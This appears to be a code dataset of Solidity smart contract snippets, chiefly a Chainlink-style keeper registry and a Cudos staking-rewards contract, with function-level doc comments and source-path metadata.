cost could exceed block * gas limit. However, in our anticipated deployment, the number of upkeeps and * keepers will be low enough to avoid this problem. */ function recoverFunds() external onlyOwner { uint256 total = LINK.balanceOf(address(this)); LINK.transfer(msg.sender, total - s_expectedLinkBalance); } /** * @notice withdraws a keeper's payment, callable only by the keeper's payee * @param from keeper address * @param to address to send the payment to */ function withdrawPayment(address from, address to) external validRecipient(to) { KeeperInfo memory keeper = s_keeperInfo[from]; if (keeper.payee != msg.sender) revert OnlyCallableByPayee(); s_keeperInfo[from].balance = 0; s_expectedLinkBalance = s_expectedLinkBalance - keeper.balance; emit PaymentWithdrawn(from, keeper.balance, to, msg.sender); LINK.transfer(to, keeper.balance); } /** * @notice proposes the safe transfer of a keeper's payee to another address * @param keeper address of the keeper to transfer payee role * @param proposed address to nominate for next payeeship */ function transferPayeeship(address keeper, address proposed) external { if (s_keeperInfo[keeper].payee != msg.sender) revert OnlyCallableByPayee(); if (proposed == msg.sender) revert ValueNotChanged(); if (s_proposedPayee[keeper] != proposed) { s_proposedPayee[keeper] = proposed; emit PayeeshipTransferRequested(keeper, msg.sender, proposed); } } /** * @notice accepts the safe transfer of payee role for a keeper * @param keeper address to accept the payee role for */ function acceptPayeeship(address keeper) external { if (s_proposedPayee[keeper] != msg.sender) revert OnlyCallableByProposedPayee(); address past = s_keeperInfo[keeper].payee; s_keeperInfo[keeper].payee = msg.sender; s_proposedPayee[keeper] = ZERO_ADDRESS; emit PayeeshipTransferred(keeper, past, msg.sender); } /** * @notice signals to keepers that they should not perform upkeeps until the * contract has been unpaused */ function pause() external onlyOwner { _pause(); } /** * @notice signals to keepers that they can perform upkeeps once again after * having been paused */ function unpause() external onlyOwner { _unpause(); } // SETTERS /** * @notice updates the configuration of the registry * @param config registry config fields */ function setConfig(Config memory config) public onlyOwner { if (config.maxPerformGas < s_storage.maxPerformGas) revert GasLimitCanOnlyIncrease(); s_storage = Storage({ paymentPremiumPPB: config.paymentPremiumPPB, flatFeeMicroLink: config.flatFeeMicroLink, blockCountPerTurn: config.blockCountPerTurn, checkGasLimit: config.checkGasLimit, stalenessSeconds: config.stalenessSeconds, gasCeilingMultiplier: config.gasCeilingMultiplier, minUpkeepSpend: config.minUpkeepSpend, maxPerformGas: config.maxPerformGas, nonce: s_storage.nonce }); s_fallbackGasPrice = config.fallbackGasPrice; s_fallbackLinkPrice = config.fallbackLinkPrice; s_transcoder = config.transcoder; s_registrar = config.registrar; emit ConfigSet(config); } /** * @notice update the list of keepers allowed to perform upkeep * @param keepers list of addresses allowed to perform upkeep * @param payees addresses corresponding to keepers who are allowed to * move payments which have been accrued */ function setKeepers(address[] calldata keepers, address[] calldata payees) external onlyOwner { if (keepers.length != payees.length || keepers.length < 2) revert ParameterLengthError(); for (uint256 i = 0; i < s_keeperList.length; i++) { address keeper = s_keeperList[i]; s_keeperInfo[keeper].active = false; } for (uint256 i = 0; i < keepers.length; i++) { address keeper = keepers[i]; KeeperInfo storage s_keeper = s_keeperInfo[keeper]; address oldPayee = s_keeper.payee; address newPayee = payees[i]; if ( (newPayee == ZERO_ADDRESS) || (oldPayee != ZERO_ADDRESS && oldPayee != newPayee && newPayee != IGNORE_ADDRESS) ) revert InvalidPayee(); if (s_keeper.active) revert DuplicateEntry(); s_keeper.active = true; if (newPayee != IGNORE_ADDRESS) { s_keeper.payee = newPayee; } } s_keeperList = keepers; emit KeepersUpdated(keepers, payees); } // GETTERS /** * @notice read all of the details about an upkeep */ function getUpkeep(uint256 id) external view override returns ( address target, uint32 executeGas, bytes memory checkData, uint96 balance, address lastKeeper, address admin, uint64 maxValidBlocknumber, uint96 amountSpent ) { Upkeep memory reg = s_upkeep[id]; return ( reg.target, reg.executeGas, s_checkData[id], reg.balance, reg.lastKeeper, reg.admin, reg.maxValidBlocknumber, reg.amountSpent ); } /** * @notice retrieve active upkeep IDs * @param startIndex starting index in list * @param maxCount max count to retrieve (0 = unlimited) * @dev the order of IDs in the list is **not guaranteed**, therefore, if making successive calls, one * should consider keeping the blockheight constant to ensure a wholistic picture of the contract state */ function getActiveUpkeepIDs(uint256 startIndex, uint256 maxCount) external view override returns (uint256[] memory) { uint256 maxIdx = s_upkeepIDs.length(); if (startIndex >= maxIdx) revert IndexOutOfRange(); if (maxCount == 0) { maxCount = maxIdx - startIndex; } uint256[] memory ids = new uint256[](maxCount); for (uint256 idx = 0; idx < maxCount; idx++) { ids[idx] = s_upkeepIDs.at(startIndex + idx); } return ids; } /** * @notice read the current info about any keeper address */ function getKeeperInfo(address query) external view override returns ( address payee, bool active, uint96 balance ) { KeeperInfo memory keeper = s_keeperInfo[query]; return (keeper.payee, keeper.active, keeper.balance); } /** * @notice read the current state of the registry */ function getState() external view override returns ( State memory state, Config memory config, address[] memory keepers ) { Storage memory store = s_storage; state.nonce = store.nonce; state.ownerLinkBalance = s_ownerLinkBalance; state.expectedLinkBalance = s_expectedLinkBalance; state.numUpkeeps = s_upkeepIDs.length(); config.paymentPremiumPPB = store.paymentPremiumPPB; config.flatFeeMicroLink = store.flatFeeMicroLink; config.blockCountPerTurn = store.blockCountPerTurn; config.checkGasLimit = store.checkGasLimit; config.stalenessSeconds = store.stalenessSeconds; config.gasCeilingMultiplier = store.gasCeilingMultiplier; config.minUpkeepSpend = store.minUpkeepSpend; config.maxPerformGas = store.maxPerformGas; config.fallbackGasPrice = s_fallbackGasPrice; config.fallbackLinkPrice = s_fallbackLinkPrice; config.transcoder = s_transcoder; config.registrar = s_registrar; return (state, config, s_keeperList); } /** * @notice calculates the minimum balance required for an upkeep to remain eligible * @param id the upkeep id to calculate minimum balance for */ function getMinBalanceForUpkeep(uint256 id) external view returns (uint96 minBalance) { return getMaxPaymentForGas(s_upkeep[id].executeGas); } /** * @notice calculates the maximum payment for a given gas limit * @param gasLimit the gas to calculate payment for */ function getMaxPaymentForGas(uint256 gasLimit) public view returns (uint96 maxPayment) { (uint256 gasWei, uint256 linkEth) = _getFeedData(); uint256 adjustedGasWei = _adjustGasPrice(gasWei, false); return _calculatePaymentAmount(gasLimit, adjustedGasWei, linkEth); } /** * @notice retrieves the migration permission for a peer registry */ function getPeerRegistryMigrationPermission(address peer) external view returns (MigrationPermission) { return s_peerRegistryMigrationPermission[peer]; } /** * @notice sets the peer registry migration permission */ function setPeerRegistryMigrationPermission(address peer, MigrationPermission permission) external onlyOwner { s_peerRegistryMigrationPermission[peer] = permission; } /** * @inheritdoc MigratableKeeperRegistryInterface */ function migrateUpkeeps(uint256[] calldata ids, address destination) external override { if ( s_peerRegistryMigrationPermission[destination] != MigrationPermission.OUTGOING && s_peerRegistryMigrationPermission[destination] != MigrationPermission.BIDIRECTIONAL ) revert MigrationNotPermitted(); if (s_transcoder == ZERO_ADDRESS) revert TranscoderNotSet(); if (ids.length == 0) revert ArrayHasNoEntries(); address admin = s_upkeep[ids[0]].admin; bool isOwner = msg.sender == owner(); if (msg.sender != admin && !isOwner) revert OnlyCallableByOwnerOrAdmin(); uint256 id; Upkeep memory upkeep; uint256 totalBalanceRemaining; bytes[] memory checkDatas = new bytes[](ids.length); Upkeep[] memory upkeeps = new Upkeep[](ids.length); for (uint256 idx = 0; idx < ids.length; idx++) { id = ids[idx]; upkeep = s_upkeep[id]; if (upkeep.admin != admin) revert OnlyCallableByAdmin(); if (upkeep.maxValidBlocknumber != UINT64_MAX) revert UpkeepNotActive(); upkeeps[idx] = upkeep; checkDatas[idx] = s_checkData[id]; totalBalanceRemaining = totalBalanceRemaining + upkeep.balance; delete s_upkeep[id]; delete s_checkData[id]; s_upkeepIDs.remove(id); emit UpkeepMigrated(id, upkeep.balance, destination); } s_expectedLinkBalance = s_expectedLinkBalance - totalBalanceRemaining; bytes memory encodedUpkeeps = abi.encode(ids, upkeeps, checkDatas); MigratableKeeperRegistryInterface(destination).receiveUpkeeps( UpkeepTranscoderInterface(s_transcoder).transcodeUpkeeps( UpkeepFormat.V1, MigratableKeeperRegistryInterface(destination).upkeepTranscoderVersion(), encodedUpkeeps ) ); LINK.transfer(destination, totalBalanceRemaining); } /** * @inheritdoc MigratableKeeperRegistryInterface */ UpkeepFormat public constant upkeepTranscoderVersion = UpkeepFormat.V1; /** * @inheritdoc MigratableKeeperRegistryInterface */ function receiveUpkeeps(bytes calldata encodedUpkeeps) external override { if ( s_peerRegistryMigrationPermission[msg.sender] != MigrationPermission.INCOMING && s_peerRegistryMigrationPermission[msg.sender] != MigrationPermission.BIDIRECTIONAL ) revert MigrationNotPermitted(); (uint256[] memory ids, Upkeep[] memory upkeeps, bytes[] memory checkDatas) = abi.decode( encodedUpkeeps, (uint256[], Upkeep[], bytes[]) ); for (uint256 idx = 0; idx < ids.length; idx++) { _createUpkeep( ids[idx], upkeeps[idx].target, upkeeps[idx].executeGas, upkeeps[idx].admin, upkeeps[idx].balance, checkDatas[idx] ); emit UpkeepReceived(ids[idx], upkeeps[idx].balance, msg.sender); } } /** * @notice creates a new upkeep with the given fields * @param target address to perform upkeep on * @param gasLimit amount of gas to provide the target contract when * performing upkeep * @param admin address to cancel upkeep and withdraw remaining funds * @param checkData data passed to the contract when checking for upkeep */ function _createUpkeep( uint256 id, address target, uint32 gasLimit, address admin, uint96 balance, bytes memory checkData ) internal whenNotPaused { if (!target.isContract()) revert NotAContract(); if (gasLimit < PERFORM_GAS_MIN || gasLimit > s_storage.maxPerformGas) revert GasLimitOutsideRange(); s_upkeep[id] = Upkeep({ target: target, executeGas: gasLimit, balance: balance, admin: admin, maxValidBlocknumber: UINT64_MAX, lastKeeper: ZERO_ADDRESS, amountSpent: 0 }); s_expectedLinkBalance = s_expectedLinkBalance + balance; s_checkData[id] = checkData; s_upkeepIDs.add(id); } /** * @dev retrieves feed data for fast gas/eth and link/eth prices. if the feed * data is stale it uses the configured fallback price. Once a price is picked * for gas it takes the min of gas price in the transaction or the fast gas * price in order to reduce costs for the upkeep clients. */ function _getFeedData() private view returns (uint256 gasWei, uint256 linkEth) { uint32 stalenessSeconds = s_storage.stalenessSeconds; bool staleFallback = stalenessSeconds > 0; uint256 timestamp; int256 feedValue; (, feedValue, , timestamp, ) = FAST_GAS_FEED.latestRoundData(); if ((staleFallback && stalenessSeconds < block.timestamp - timestamp) || feedValue <= 0) { gasWei = s_fallbackGasPrice; } else { gasWei = uint256(feedValue); } (, feedValue, , timestamp, ) = LINK_ETH_FEED.latestRoundData(); if ((staleFallback && stalenessSeconds < block.timestamp - timestamp) || feedValue <= 0) { linkEth = s_fallbackLinkPrice; } else { linkEth = uint256(feedValue); } return (gasWei, linkEth); } /** * @dev calculates LINK paid for gas spent plus a configure premium percentage */ function _calculatePaymentAmount( uint256 gasLimit, uint256 gasWei, uint256 linkEth ) private view returns (uint96 payment) { uint256 weiForGas = gasWei * (gasLimit + REGISTRY_GAS_OVERHEAD); uint256 premium = PPB_BASE + s_storage.paymentPremiumPPB; uint256 total = ((weiForGas * (1e9) * (premium)) / (linkEth)) + (uint256(s_storage.flatFeeMicroLink) * (1e12)); if (total > LINK_TOTAL_SUPPLY) revert PaymentGreaterThanAllLINK(); return uint96(total); // LINK_TOTAL_SUPPLY < UINT96_MAX } /** * @dev calls target address with exactly gasAmount gas and data as calldata * or reverts if at least gasAmount gas is not available */ function _callWithExactGas( uint256 gasAmount, address target, bytes memory data ) private returns (bool success) { assembly { let g := gas() // Compute g -= PERFORM_GAS_CUSHION and check for underflow if lt(g, PERFORM_GAS_CUSHION) { revert(0, 0) } g := sub(g, PERFORM_GAS_CUSHION) // if g - g//64 <= gasAmount, revert // (we subtract g//64 because of EIP-150) if iszero(gt(sub(g, div(g, 64)), gasAmount)) { revert(0, 0) } // solidity calls check that a contract actually exists at the destination, so we do the same if iszero(extcodesize(target)) { revert(0, 0) } // call and return whether we succeeded. ignore return data success := call(gasAmount, target, 0, add(data, 0x20), mload(data), 0, 0) } return success; } /** * @dev calls the Upkeep target with the performData param passed in by the * keeper and the exact gas required by the Upkeep */ function _performUpkeepWithParams(PerformParams memory params) private nonReentrant validUpkeep(params.id) returns (bool success) { Upkeep memory upkeep = s_upkeep[params.id]; _prePerformUpkeep(upkeep, params.from, params.maxLinkPayment); uint256 gasUsed = gasleft(); bytes memory callData = abi.encodeWithSelector(PERFORM_SELECTOR, params.performData); success = _callWithExactGas(params.gasLimit, upkeep.target, callData); gasUsed = gasUsed - gasleft(); uint96 payment = _calculatePaymentAmount(gasUsed, params.adjustedGasWei, params.linkEth); s_upkeep[params.id].balance = s_upkeep[params.id].balance - payment; s_upkeep[params.id].amountSpent = s_upkeep[params.id].amountSpent + payment; s_upkeep[params.id].lastKeeper = params.from; s_keeperInfo[params.from].balance = s_keeperInfo[params.from].balance + payment; emit UpkeepPerformed(params.id, success, params.from, payment, params.performData); return success; } /** * @dev ensures all required checks are passed before an upkeep is performed */ function _prePerformUpkeep( Upkeep memory upkeep, address from, uint256 maxLinkPayment ) private view { if (!s_keeperInfo[from].active) revert OnlyActiveKeepers(); if (upkeep.balance < maxLinkPayment) revert InsufficientFunds(); if (upkeep.lastKeeper == from) revert KeepersMustTakeTurns(); } /** * @dev adjusts the gas price to min(ceiling, tx.gasprice) or just uses the ceiling if tx.gasprice is disabled */ function _adjustGasPrice(uint256 gasWei, bool useTxGasPrice) private view returns (uint256 adjustedPrice) { adjustedPrice = gasWei * s_storage.gasCeilingMultiplier; if (useTxGasPrice && tx.gasprice < adjustedPrice) { adjustedPrice = tx.gasprice; } } /** * @dev generates a PerformParams struct for use in _performUpkeepWithParams() */ function _generatePerformParams( address from, uint256 id, bytes memory performData, bool useTxGasPrice ) private view returns (PerformParams memory) { uint256 gasLimit = s_upkeep[id].executeGas; (uint256 gasWei, uint256 linkEth) = _getFeedData(); uint256 adjustedGasWei = _adjustGasPrice(gasWei, useTxGasPrice); uint96 maxLinkPayment = _calculatePaymentAmount(gasLimit, adjustedGasWei, linkEth); return PerformParams({ from: from, id: id, performData: performData, maxLinkPayment: maxLinkPayment, gasLimit: gasLimit, adjustedGasWei: adjustedGasWei, linkEth: linkEth }); } // MODIFIERS /** * @dev ensures a upkeep is valid */ modifier validUpkeep(uint256 id) { if (s_upkeep[id].maxValidBlocknumber <= block.number) revert UpkeepNotActive(); _; } /** * @dev Reverts if called by anyone other than the admin of upkeep #id */ modifier onlyUpkeepAdmin(uint256 id) { if (msg.sender != s_upkeep[id].admin) revert OnlyCallableByAdmin(); _; } /** * @dev Reverts if called on a cancelled upkeep */ modifier onlyActiveUpkeep(uint256 id) { if (s_upkeep[id].maxValidBlocknumber != UINT64_MAX) revert UpkeepNotActive(); _; } /** * @dev ensures that burns don't accidentally happen by sending to the zero * address */ modifier validRecipient(address to) { if (to == ZERO_ADDRESS) revert InvalidRecipient(); _; } /** * @dev Reverts if called by anyone other than the contract owner or registrar. */ modifier onlyOwnerOrRegistrar() { if (msg.sender != owner() && msg.sender != s_registrar) revert OnlyCallableByOwnerOrRegistrar(); _; } }
accepts the safe transfer of payee role for a keeper keeper address to accept the payee role for/
function acceptPayeeship(address keeper) external { if (s_proposedPayee[keeper] != msg.sender) revert OnlyCallableByProposedPayee(); address past = s_keeperInfo[keeper].payee; s_keeperInfo[keeper].payee = msg.sender; s_proposedPayee[keeper] = ZERO_ADDRESS; emit PayeeshipTransferred(keeper, past, msg.sender); }
919,586
./full_match/1/0x73cD8626b3cD47B009E68380720CFE6679A3Ec3D/sources/contracts/sharedContracts/PlanDelegator.sol
internal function to update the storage of approvedOperatorDelegators, and emit the event
function _setApprovalForAllDelegation(address owner, address operator, bool approved) internal virtual { require(owner != operator, '!operator'); _approvedOperatorDelegators[owner][operator] = approved; emit ApprovalForAllDelegation(owner, operator, approved); }
4,922,715
./partial_match/42/0xAf28207B8266B79665cf38AF6d8376AF981dAd0d/sources/CyclopsBank.sol
returns contract tokens balance/
function getContractTokensBalance(address token_address) external view returns (uint256) { UniversalToken token = UniversalToken(token_address); return token.balanceOf(address(this)); }
3,313,081
// SPDX-License-Identifier: MIT pragma solidity 0.8.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/Context.sol"; import { ServiceProvider } from "./ServiceProvider.sol"; import { CloneFactory } from "./CloneFactory.sol"; import { CudosAccessControls } from "../CudosAccessControls.sol"; import { StakingRewardsGuild } from "./StakingRewardsGuild.sol"; // based on MasterChef from sushi swap contract StakingRewards is CloneFactory, ReentrancyGuard, Context { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user that is staked into a specific reward program i.e. 3 month, 6 month, 12 month struct UserInfo { uint256 amount; // How many cudos tokens the user has staked. uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of cudos // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * rewardProgramme.accTokensPerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a rewardProgramme. Here's what happens: // 1. The rewardProgramme's `accTokensPerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. // Hence the rewardDebt is the total amount of rewards a service provider contract would have received // if the state of the network were the same as now from the beginning. } // Info about a reward program where each differs in minimum required length of time for locking up CUDOs. struct RewardProgramme { uint256 minStakingLengthInBlocks; // once staked, amount of blocks the staker has to wait before being able to withdraw uint256 allocPoint; // Percentage of total CUDOs rewards (across all programmes) that this programme will get uint256 lastRewardBlock; // Last block number that CUDOs was claimed for reward programme users. uint256 accTokensPerShare; // Accumulated tokens per share, times 1e18. See below. // accTokensPerShare is the average reward amount a service provider contract would have received per each block so far // if the state of the network were the same as now from the beginning. uint256 totalStaked; // total staked in this reward programme } bool public userActionsPaused; // staking and reward token - CUDOs IERC20 public token; CudosAccessControls public accessControls; StakingRewardsGuild public rewardsGuildBank; // tokens rewarded per block. uint256 public tokenRewardPerBlock; // Info of each reward programme. RewardProgramme[] public rewardProgrammes; /// @notice minStakingLengthInBlocks -> is active / valid reward programme mapping(uint256 => bool) public isActiveRewardProgramme; // Info of each user that has staked in each programme. mapping (uint256 => mapping (address => UserInfo)) public userInfo; // total staked across all programmes uint256 public totalCudosStaked; // weighted total staked across all programmes uint256 public weightedTotalCudosStaked; // The block number when rewards start. uint256 public startBlock; // service provider -> proxy and reverse mapping mapping(address => address) public serviceProviderToWhitelistedProxyContracts; mapping(address => address) public serviceProviderContractToServiceProvider; /// @notice Used as a base contract to clone for all new whitelisted service providers address public cloneableServiceProviderContract; /// @notice By default, 2M CUDO must be supplied to be a validator uint256 public minRequiredStakingAmountForServiceProviders = 2_000_000 * 10 ** 18; uint256 public maxStakingAmountForServiceProviders = 1_000_000_000 * 10 ** 18; /// @notice Allows the rewards fee to be specified to 2 DP uint256 public constant PERCENTAGE_MODULO = 100_00; uint256 public minServiceProviderFee = 2_00; // initially 2% uint256 public constant numOfBlocksInADay = 6500; uint256 public unbondingPeriod = numOfBlocksInADay.mul(21); // Equivalent to solidity 21 days event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount); event MinRequiredStakingAmountForServiceProvidersUpdated(uint256 oldValue, uint256 newValue); event MaxStakingAmountForServiceProvidersUpdated(uint256 oldValue, uint256 newValue); event MinServiceProviderFeeUpdated(uint256 oldValue, uint256 newValue); event ServiceProviderWhitelisted(address indexed serviceProvider, address indexed serviceProviderContract); event RewardPerBlockUpdated(uint256 oldValue, uint256 newValue); event RewardProgrammeAdded(uint256 allocPoint, uint256 minStakingLengthInBlocks); event RewardProgrammeAllocPointUpdated(uint256 oldValue, uint256 newValue); event UserActionsPausedToggled(bool isPaused); // paused modifier paused() { require(userActionsPaused == false, "PSD"); _; } // Amount cannot be 0 modifier notZero(uint256 _amount) { require(_amount > 0, "SPC6"); _; } // Unknown service provider modifier unkSP() { require(serviceProviderContractToServiceProvider[_msgSender()] != address(0), "SPU1"); _; } // Only whitelisted modifier whitelisted() { require(accessControls.hasWhitelistRole(_msgSender()), "OWL"); _; } constructor( IERC20 _token, CudosAccessControls _accessControls, StakingRewardsGuild _rewardsGuildBank, uint256 _tokenRewardPerBlock, uint256 _startBlock, address _cloneableServiceProviderContract ) { require(address(_accessControls) != address(0), "StakingRewards.constructor: Invalid access controls"); require(address(_token) != address(0), "StakingRewards.constructor: Invalid token address"); require(_cloneableServiceProviderContract != address(0), "StakingRewards.constructor: Invalid cloneable service provider"); token = _token; accessControls = _accessControls; rewardsGuildBank = _rewardsGuildBank; tokenRewardPerBlock = _tokenRewardPerBlock; startBlock = _startBlock; cloneableServiceProviderContract = _cloneableServiceProviderContract; } // Update reward variables of the given programme to be up-to-date. function updateRewardProgramme(uint256 _programmeId) public { RewardProgramme storage rewardProgramme = rewardProgrammes[_programmeId]; if (_getBlock() <= rewardProgramme.lastRewardBlock) { return; } uint256 totalStaked = rewardProgramme.totalStaked; if (totalStaked == 0) { rewardProgramme.lastRewardBlock = _getBlock(); return; } uint256 blocksSinceLastReward = _getBlock().sub(rewardProgramme.lastRewardBlock); // we want to divide proportionally by all the tokens staked in the RPs, not to distribute first to RP // so what we want here is rewardProgramme.allocPoint.mul(rewardProgramme.totalStaked).div(the sum of the products of allocPoint times totalStake for each RP) uint256 rewardPerShare = blocksSinceLastReward.mul(tokenRewardPerBlock).mul(rewardProgramme.allocPoint).mul(1e18).div(weightedTotalCudosStaked); rewardProgramme.accTokensPerShare = rewardProgramme.accTokensPerShare.add(rewardPerShare); rewardProgramme.lastRewardBlock = _getBlock(); } function getReward(uint256 _programmeId) external nonReentrant { updateRewardProgramme(_programmeId); _getReward(_programmeId); } function massUpdateRewardProgrammes() public { uint256 programmeLength = rewardProgrammes.length; for(uint256 i = 0; i < programmeLength; i++) { updateRewardProgramme(i); } } function getRewardWithMassUpdate(uint256 _programmeId) external nonReentrant { massUpdateRewardProgrammes(); _getReward(_programmeId); } // stake CUDO in a specific reward programme that dictates a minimum lockup period function stake(uint256 _programmeId, address _from, uint256 _amount) external nonReentrant paused notZero(_amount) unkSP { RewardProgramme storage rewardProgramme = rewardProgrammes[_programmeId]; UserInfo storage user = userInfo[_programmeId][_msgSender()]; user.amount = user.amount.add(_amount); rewardProgramme.totalStaked = rewardProgramme.totalStaked.add(_amount); totalCudosStaked = totalCudosStaked.add(_amount); // weigted sum gets updated when new tokens are staked weightedTotalCudosStaked = weightedTotalCudosStaked.add(_amount.mul(rewardProgramme.allocPoint)); user.rewardDebt = user.amount.mul(rewardProgramme.accTokensPerShare).div(1e18); token.safeTransferFrom(address(_from), address(rewardsGuildBank), _amount); emit Deposit(_from, _programmeId, _amount); } // Withdraw stake and rewards function withdraw(uint256 _programmeId, address _to, uint256 _amount) public nonReentrant paused notZero(_amount) unkSP { RewardProgramme storage rewardProgramme = rewardProgrammes[_programmeId]; UserInfo storage user = userInfo[_programmeId][_msgSender()]; // StakingRewards.withdraw: Amount exceeds balance require(user.amount >= _amount, "SRW1"); user.amount = user.amount.sub(_amount); rewardProgramme.totalStaked = rewardProgramme.totalStaked.sub(_amount); totalCudosStaked = totalCudosStaked.sub(_amount); // weigted sum gets updated when new tokens are withdrawn weightedTotalCudosStaked = weightedTotalCudosStaked.sub(_amount.mul(rewardProgramme.allocPoint)); user.rewardDebt = user.amount.mul(rewardProgramme.accTokensPerShare).div(1e18); rewardsGuildBank.withdrawTo(_to, _amount); emit Withdraw(_msgSender(), _programmeId, _amount); } function exit(uint256 _programmeId) external unkSP { withdraw(_programmeId, _msgSender(), userInfo[_programmeId][_msgSender()].amount); } // ***** // View // ***** function numberOfRewardProgrammes() external view returns (uint256) { return rewardProgrammes.length; } function getRewardProgrammeInfo(uint256 _programmeId) external view returns ( uint256 minStakingLengthInBlocks, uint256 allocPoint, uint256 lastRewardBlock, uint256 accTokensPerShare, uint256 totalStaked ) { RewardProgramme storage rewardProgramme = rewardProgrammes[_programmeId]; return ( rewardProgramme.minStakingLengthInBlocks, rewardProgramme.allocPoint, rewardProgramme.lastRewardBlock, rewardProgramme.accTokensPerShare, rewardProgramme.totalStaked ); } function amountStakedByUserInRewardProgramme(uint256 _programmeId, address _user) external view returns (uint256) { return userInfo[_programmeId][_user].amount; } function totalStakedInRewardProgramme(uint256 _programmeId) external view returns (uint256) { return rewardProgrammes[_programmeId].totalStaked; } function totalStakedAcrossAllRewardProgrammes() external view returns (uint256) { return totalCudosStaked; } // View function to see pending CUDOs on frontend. function pendingCudoRewards(uint256 _programmeId, address _user) external view returns (uint256) { RewardProgramme storage rewardProgramme = rewardProgrammes[_programmeId]; UserInfo storage user = userInfo[_programmeId][_user]; uint256 accTokensPerShare = rewardProgramme.accTokensPerShare; uint256 totalStaked = rewardProgramme.totalStaked; if (_getBlock() > rewardProgramme.lastRewardBlock && totalStaked != 0) { uint256 blocksSinceLastReward = _getBlock().sub(rewardProgramme.lastRewardBlock); // reward distribution is changed in line with the change within the updateRewardProgramme function uint256 rewardPerShare = blocksSinceLastReward.mul(tokenRewardPerBlock).mul(rewardProgramme.allocPoint).mul(1e18).div(weightedTotalCudosStaked); accTokensPerShare = accTokensPerShare.add(rewardPerShare); } return user.amount.mul(accTokensPerShare).div(1e18).sub(user.rewardDebt); } // proxy for service provider function hasAdminRole(address _caller) external view returns (bool) { return accessControls.hasAdminRole(_caller); } // ********* // Whitelist // ********* // methods that check for whitelist role in access controls are for any param changes that could be done via governance function updateMinRequiredStakingAmountForServiceProviders(uint256 _newValue) external whitelisted { require(_newValue < maxStakingAmountForServiceProviders, "StakingRewards.updateMinRequiredStakingAmountForServiceProviders: Min staking must be less than max staking amount"); emit MinRequiredStakingAmountForServiceProvidersUpdated(minRequiredStakingAmountForServiceProviders, _newValue); minRequiredStakingAmountForServiceProviders = _newValue; } function updateMaxStakingAmountForServiceProviders(uint256 _newValue) external whitelisted { //require(accessControls.hasWhitelistRole(_msgSender()), "StakingRewards.updateMaxStakingAmountForServiceProviders: Only whitelisted"); require(_newValue > minRequiredStakingAmountForServiceProviders, "StakingRewards.updateMaxStakingAmountForServiceProviders: Max staking must be greater than min staking amount"); emit MaxStakingAmountForServiceProvidersUpdated(maxStakingAmountForServiceProviders, _newValue); maxStakingAmountForServiceProviders = _newValue; } function updateMinServiceProviderFee(uint256 _newValue) external whitelisted { //require(accessControls.hasWhitelistRole(_msgSender()), "StakingRewards.updateMinServiceProviderFee: Only whitelisted"); require(_newValue > 0 && _newValue < PERCENTAGE_MODULO, "StakingRewards.updateMinServiceProviderFee: Fee percentage must be between zero and one"); emit MinServiceProviderFeeUpdated(minServiceProviderFee, _newValue); minServiceProviderFee = _newValue; } // ***** // Admin // ***** function recoverERC20(address _erc20, address _recipient, uint256 _amount) external { // StakingRewards.recoverERC20: Only admin require(accessControls.hasAdminRole(_msgSender()), "OA"); IERC20(_erc20).safeTransfer(_recipient, _amount); } function whitelistServiceProvider(address _serviceProvider) external { // StakingRewards.whitelistServiceProvider: Only admin require(accessControls.hasAdminRole(_msgSender()), "OA"); require(serviceProviderToWhitelistedProxyContracts[_serviceProvider] == address(0), "StakingRewards.whitelistServiceProvider: Already whitelisted service provider"); address serviceProviderContract = createClone(cloneableServiceProviderContract); serviceProviderToWhitelistedProxyContracts[_serviceProvider] = serviceProviderContract; serviceProviderContractToServiceProvider[serviceProviderContract] = _serviceProvider; ServiceProvider(serviceProviderContract).init(_serviceProvider, token); emit ServiceProviderWhitelisted(_serviceProvider, serviceProviderContract); } function updateTokenRewardPerBlock(uint256 _tokenRewardPerBlock) external { require( accessControls.hasAdminRole(_msgSender()), "StakingRewards.updateTokenRewardPerBlock: Only admin" ); // If this is not done, any pending rewards could be potentially lost massUpdateRewardProgrammes(); // Log old and new value emit RewardPerBlockUpdated(tokenRewardPerBlock, _tokenRewardPerBlock); // this is safe to be set to zero - it would effectively turn off all staking rewards tokenRewardPerBlock = _tokenRewardPerBlock; } // Admin - Add a rewards programme function addRewardsProgramme(uint256 _allocPoint, uint256 _minStakingLengthInBlocks, bool _withUpdate) external { require( accessControls.hasAdminRole(_msgSender()), // StakingRewards.addRewardsProgramme: Only admin "OA" ); require( isActiveRewardProgramme[_minStakingLengthInBlocks] == false, // StakingRewards.addRewardsProgramme: Programme is already active "PAA" ); // StakingRewards.addRewardsProgramme: Invalid alloc point require(_allocPoint > 0, "IAP"); if (_withUpdate) { massUpdateRewardProgrammes(); } uint256 lastRewardBlock = _getBlock() > startBlock ? _getBlock() : startBlock; rewardProgrammes.push( RewardProgramme({ minStakingLengthInBlocks: _minStakingLengthInBlocks, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accTokensPerShare: 0, totalStaked: 0 }) ); isActiveRewardProgramme[_minStakingLengthInBlocks] = true; emit RewardProgrammeAdded(_allocPoint, _minStakingLengthInBlocks); } // Update the given reward programme's CUDO allocation point. Can only be called by admin. function updateAllocPointForRewardProgramme(uint256 _programmeId, uint256 _allocPoint, bool _withUpdate) external { require( accessControls.hasAdminRole(_msgSender()), // StakingRewards.updateAllocPointForRewardProgramme: Only admin "OA" ); if (_withUpdate) { massUpdateRewardProgrammes(); } weightedTotalCudosStaked = weightedTotalCudosStaked.sub(rewardProgrammes[_programmeId].totalStaked.mul(rewardProgrammes[_programmeId].allocPoint)); emit RewardProgrammeAllocPointUpdated(rewardProgrammes[_programmeId].allocPoint, _allocPoint); rewardProgrammes[_programmeId].allocPoint = _allocPoint; weightedTotalCudosStaked = weightedTotalCudosStaked.add(rewardProgrammes[_programmeId].totalStaked.mul(rewardProgrammes[_programmeId].allocPoint)); } function updateUserActionsPaused(bool 